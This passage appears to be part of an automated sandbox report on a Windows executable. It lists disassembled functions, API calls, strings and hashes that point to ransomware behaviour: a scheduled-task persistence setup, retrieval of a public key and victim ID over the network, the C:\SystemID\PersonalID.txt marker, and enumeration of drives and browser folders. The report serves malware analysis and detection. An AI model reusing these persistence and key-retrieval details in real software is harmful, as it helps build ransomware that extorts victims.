API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: a79d7b26af8db6e7f0050bd9dccea304f74da199f1b36aeac673e6f2433809e3
Instruction ID: e2d7f0656d81426c7ea585df948bc968056096f0e3b060e7d8fa34194175b71c
Opcode Fuzzy Hash: a79d7b26af8db6e7f0050bd9dccea304f74da199f1b36aeac673e6f2433809e3
Instruction Fuzzy Hash: 3E01D2F19007009BE3309F19E805B57B7E8AF41760F10452DF9A893681E7B9E544C7A0

Function 0078C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0078C94B
_fputws.LIBCMT ref: 0078C9C6
_fputws.LIBCMT ref: 0078C9E8
_fputws.LIBCMT ref: 0078C9F3

Strings

C:\SystemID, xrefs: 0078C946
C:\SystemID\PersonalID.txt, xrefs: 0078C956

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: baea529da857dae80a913e58d945343083f0e7d99893a0773c0b066106ab59e8
Instruction ID: eb0be5369581b0e754463f6f5b8ff744ac2d53182750754fc54c8b1a45f4b0d7
Opcode Fuzzy Hash: baea529da857dae80a913e58d945343083f0e7d99893a0773c0b066106ab59e8
Instruction Fuzzy Hash: 5111E272D80305DBCF21EF68DC4578A77A0FF40314F008669E96992242E77AA9248BE2

Function 007A0DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A0DD5
__calloc_crt.LIBCMT ref: 007A0DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 007A0E13

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 9f46aab5292624d2bb1e06c88b876da8f488c2de23f54485655be3f356a2dfbb
Instruction ID: 441aa325dd9bf2177b5e4574ea2e862485aa97ec310ac308afd3feaf2064a9d9
Opcode Fuzzy Hash: 9f46aab5292624d2bb1e06c88b876da8f488c2de23f54485655be3f356a2dfbb
Instruction Fuzzy Hash: 9DF0AF71349611DBFB68AB68FC51A613794F783B20B100A6AF200CAAC0E73C884096D2

Function 00800620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00800686

Part of subcall function 007D4C00: _raise.LIBCMT ref: 007D4C18

Strings

.\crypto\evp\digest.c, xrefs: 00800638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0080062E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 4448805ffe4f403fc2bd4a73b860cd7494cd875c9607ecabe5f3aa021efc9a93
Instruction ID: 9da48c570cf0c75ba48f5f2e37430b87dd6c87a08b66cb5d49f3e7ba7b3a9888
Opcode Fuzzy Hash: 4448805ffe4f403fc2bd4a73b860cd7494cd875c9607ecabe5f3aa021efc9a93
Instruction Fuzzy Hash: 3C012875600600AFC310DF08EC46E56B7E6FFD9310F198468F598DB3A2E762EC558B95

Analysis Process: f6ffg1sZS2.exePID: 1072, Parent PID: 6884COMMON

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	180

Executed Functions

Function 00799F90 Relevance: 169.6, APIs: 65, Strings: 31, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0078CF10: _memset.LIBCMT ref: 0078CF4A
Part of subcall function 0078CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0078CF5F
Part of subcall function 0078CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0078CFA6

GetCurrentProcess.KERNEL32 ref: 00799FC4
GetLastError.KERNEL32 ref: 00799FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00799FDA
GetLastError.KERNEL32 ref: 00799FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,013CCD78,?), ref: 0079A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0079A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0079A161

Part of subcall function 007924E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 007924FE
Part of subcall function 007924E0: GetLastError.KERNEL32 ref: 00792509
Part of subcall function 007924E0: CloseHandle.KERNEL32 ref: 0079251C

Strings

--Admin, xrefs: 0079A1B4, 0079A632
--Task, xrefs: 0079A2CD
IsNotAutoStart, xrefs: 0079A645
--Service, xrefs: 0079A30B
--AutoStart, xrefs: 0079A2EC
C:\Program Files (x86)\Google\, xrefs: 0079AEE7
list<T> too long, xrefs: 0079B669, 0079B673
D:\Program Files\Google\, xrefs: 0079B0EE
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0079AE5B
D:\Windows\, xrefs: 0079AFF3
<, xrefs: 0079A67B
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa, xrefs: 0079A255, 0079A37B, 0079A847, 0079A955, 0079A962, 0079A97F, 0079A980, 0079A9F2, 0079A9FF, 0079AA16, 0079AA17
--ForNetRes, xrefs: 0079A22E
C:\Program Files\Google\, xrefs: 0079AFB9
IsAutoStart, xrefs: 0079A1D0, 0079A273
C:\Windows\, xrefs: 0079AE0F
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0079A8B6
D:\Program Files\Mozilla Firefox\, xrefs: 0079B0A8
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0079A8A0
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0079B02E
D:\Program Files\Internet Explorer\, xrefs: 0079B0CB
IsNotTask, xrefs: 0079A654
C:\Program Files\Internet Explorer\, xrefs: 0079AF73
D:\Program Files (x86)\Google\, xrefs: 0079B085
IsTask, xrefs: 0079A1EE, 0079A299
%username%, xrefs: 0079B283
F:\, xrefs: 0079B397
C:\Program Files (x86)\Internet Explorer\, xrefs: 0079AEA1
C:\Program Files\Mozilla Firefox\, xrefs: 0079AF2D
D:\Program Files (x86)\Internet Explorer\, xrefs: 0079B062
I:\5d2860c89d774.jpg, xrefs: 0079B32F

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$list<T> too long${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2957410896-1027740035
Opcode ID: 09e98487d6b410538169876edebaab4aefdfba29f101c7abc560d9ce632039f7
Instruction ID: d0f5687b300a3f35cc797bc376149cba170342073f80102ff2f6eac6f34b9812
Opcode Fuzzy Hash: 09e98487d6b410538169876edebaab4aefdfba29f101c7abc560d9ce632039f7
Instruction Fuzzy Hash: C0D2B270508341EBDF14EF64E85AB9B77E5FF85304F00092DF48587292EB79AA09CB92

Function 00801920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00801983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00801994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 008019A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 008019AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 008019E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 008019FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00801A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00801A81
FreeLibrary.KERNEL32(?), ref: 00801AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00801ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00801AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00801B01
FreeLibrary.KERNEL32(?), ref: 00801C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00801C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00801C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00801C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00801C76
FreeLibrary.KERNEL32(?), ref: 00801D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00801D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00801D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00801D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00801DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00801DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00801DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00801DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00801DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00801E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00801E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00801E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00801E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00801EDD
GetTickCount.KERNEL32 ref: 00801F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00801F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00801F95
Heap32Next.KERNEL32(?,?,?,?,?,D24BB2AB), ref: 00801FE3
GetTickCount.KERNEL32 ref: 00801FF1
Heap32ListNext.KERNEL32(?,?), ref: 00802058
GetTickCount.KERNEL32 ref: 00802066
GetTickCount.KERNEL32 ref: 00802095
Process32First.KERNEL32(?,00000128), ref: 008020AA
GetTickCount.KERNEL32 ref: 008020FB
GetTickCount.KERNEL32 ref: 00802118
GetTickCount.KERNEL32 ref: 00802187
GetTickCount.KERNEL32 ref: 008021A4

Strings

Module32Next, xrefs: 00801E39
KERNEL32.DLL, xrefs: 0080199C
GetCursorInfo, xrefs: 00801C58
Heap32Next, xrefs: 00801DA1
NETAPI32.DLL, xrefs: 008019A9
Heap32ListNext, xrefs: 00801DC7
Module32First, xrefs: 00801E26
CryptReleaseContext, xrefs: 00801AF6
CryptAcquireContextW, xrefs: 00801AD5
CloseToolhelp32Snapshot, xrefs: 00801D7B
CryptGenRandom, xrefs: 00801AE3
Intel Hardware Cryptographic Service Provider, xrefs: 00801B9C
Heap32First, xrefs: 00801D8E
Process32Next, xrefs: 00801DED
LanmanWorkstation, xrefs: 00801A26
GetForegroundWindow, xrefs: 00801C4A
USER32.DLL, xrefs: 00801C31
LanmanServer, xrefs: 00801A74
Heap32ListFirst, xrefs: 00801DB4
NetStatisticsGet, xrefs: 008019E2
Thread32First, xrefs: 00801E00
GetQueueStatus, xrefs: 00801C6B
NetApiBufferFree, xrefs: 008019F0
$, xrefs: 00801F7E
CreateToolhelp32Snapshot, xrefs: 00801D67
ADVAPI32.DLL, xrefs: 00801989
Thread32Next, xrefs: 00801E13
Process32First, xrefs: 00801DDA

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 2fdf9e568367f1f4da346b5b1303264088abc95c8f4de324fc7238aa48e2b2d0
Instruction ID: 74a9e59c32e4d59d25b3743ffec80e7c38f68a224f196e50975aee5d8fd83d21
Opcode Fuzzy Hash: 2fdf9e568367f1f4da346b5b1303264088abc95c8f4de324fc7238aa48e2b2d0
Instruction Fuzzy Hash: EA3270B0E006299BEF619F64CC49B9EB6B9FF45704F0041EAE60CE6191EB748E90CF55

Function 0079E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,0084B3EC,000000FF), ref: 0079E6C0

Part of subcall function 0078C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0079E6D4), ref: 0078C6C2
Part of subcall function 0078C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0078C6F3
Part of subcall function 0078C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0078C700

_memset.LIBCMT ref: 0079E707

Part of subcall function 0078C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0078C51B

InternetOpenW.WININET ref: 0079E743
_wcsstr.LIBCMT ref: 0079E7AE
_memmove.LIBCMT ref: 0079E838
lstrcpyW.KERNEL32(?,?), ref: 0079E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0079E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0079E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0079E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0079E9CD
InternetCloseHandle.WININET(00000000), ref: 0079E9F3
InternetCloseHandle.WININET(00000000), ref: 0079E9F6
_strstr.LIBCMT ref: 0079EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EA74
DeleteFileA.KERNEL32(?), ref: 0079EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0079EA92
lstrcpyA.KERNEL32(?,?), ref: 0079EAA4
lstrcpyA.KERNEL32(?,?), ref: 0079EABA
lstrlenA.KERNEL32(?), ref: 0079EAC8
lstrlenA.KERNEL32(00000022), ref: 0079EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0079EB5B
lstrlenA.KERNEL32(?), ref: 0079EB7C
_malloc.LIBCMT ref: 0079EB86
_memset.LIBCMT ref: 0079EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0079EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0079EBB6
_strstr.LIBCMT ref: 0079EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EC24
DeleteFileA.KERNEL32(?), ref: 0079EC32
lstrlenW.KERNEL32(?), ref: 0079EC3E
lstrlenA.KERNEL32(","id":"), ref: 0079EC51
lstrcpyA.KERNEL32(?,?), ref: 0079EC6D
lstrcpyA.KERNEL32(?,?), ref: 0079EC7F
lstrlenA.KERNEL32(?), ref: 0079EC93
lstrlenA.KERNEL32(00000022), ref: 0079ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0079ED2A
lstrlenA.KERNEL32(?), ref: 0079ED4B
_malloc.LIBCMT ref: 0079ED55
_memset.LIBCMT ref: 0079ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0079ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0079ED85
lstrlenW.KERNEL32(?), ref: 0079EDA3
lstrlenW.KERNEL32(?), ref: 0079EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EDF7
DeleteFileA.KERNEL32(?), ref: 0079EE05
_free.LIBCMT ref: 0079EE15
_free.LIBCMT ref: 0079EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0079EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0079EFBF

Strings

", xrefs: 0079ECA0
","id":", xrefs: 0079EBC5, 0079EC4C
&first=true, xrefs: 0079E930
Microsoft Internet Explorer, xrefs: 0079E736
&first=false, xrefs: 0079E937
.bit/, xrefs: 0079E7A3
bowsakkdestx.txt, xrefs: 0079E996, 0079EA67, 0079EC17, 0079EDEA
{"public_key":", xrefs: 0079EA2E, 0079EA8D
?pid=, xrefs: 0079E884

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 36bb34da0720f4496cc156ddc408d796eaab866f054b69e9a990a81e486ace4c
Instruction ID: cc9df2c2203cc69b0cff1316a84a334fe7be67631a80ca17056ee80a2a8138e8
Opcode Fuzzy Hash: 36bb34da0720f4496cc156ddc408d796eaab866f054b69e9a990a81e486ace4c
Instruction Fuzzy Hash: E842E671508341EBDB20EF24DC49B9B7BE8BF85304F04091DF58597292EB79E609CBA2

Function 0078D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0078D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0078D28F
CoCreateInstance.OLE32(0085506C,00000000,00000001,00854FEC,?,?,00000000,000000FF), ref: 0078D2D5
VariantInit.OLEAUT32(?), ref: 0078D2F0
VariantInit.OLEAUT32(?), ref: 0078D309
VariantInit.OLEAUT32(?), ref: 0078D322
VariantInit.OLEAUT32(?), ref: 0078D33B
VariantClear.OLEAUT32(?), ref: 0078D397
VariantClear.OLEAUT32(?), ref: 0078D3A4
VariantClear.OLEAUT32(?), ref: 0078D3B1
VariantClear.OLEAUT32(?), ref: 0078D3C2
CoUninitialize.OLE32 ref: 0078D3D5

Strings

2030-05-02T08:00:00, xrefs: 0078D737
Time Trigger Task, xrefs: 0078D43C, 0078D973
--Task, xrefs: 0078D8DD
Author Name, xrefs: 0078D4C8
Trigger1, xrefs: 0078D6FA
PT5M, xrefs: 0078D5A1, 0078D66C
RegisterTaskDefinition. Err: %X, xrefs: 0078DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0078D790

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 28dc479c877b8b69fc6431fd1cc4d8fd69618351dea13ef01a68e323a2d2b4f5
Instruction ID: 9681afe9a9a844ea925b66ead30e777d190ac0ff9528daaf08fb03bba7481d83
Opcode Fuzzy Hash: 28dc479c877b8b69fc6431fd1cc4d8fd69618351dea13ef01a68e323a2d2b4f5
Instruction Fuzzy Hash: DC52B470E40219DFDB50EFA4C848FAEBBB5FF49704F148198E405AB291EB78AD45CB91

Function 00790FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00791010
__CxxThrowException@8.LIBCMT ref: 00791026

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,007CF299,?,?,?,?,?,?,?,007CF299,?,00888238,?), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0079103B
__CxxThrowException@8.LIBCMT ref: 00791051
lstrlenA.KERNEL32(?,00000000), ref: 00791059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00791064
__CxxThrowException@8.LIBCMT ref: 0079107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00791099
__CxxThrowException@8.LIBCMT ref: 007910AB
_memset.LIBCMT ref: 007910CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 007910DE
__CxxThrowException@8.LIBCMT ref: 007910F0
_malloc.LIBCMT ref: 00791100
_memset.LIBCMT ref: 0079110B
_sprintf.LIBCMT ref: 0079112E
lstrcatA.KERNEL32(?,?), ref: 0079113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00791154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0079115F

Strings

%.2X, xrefs: 00791128

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
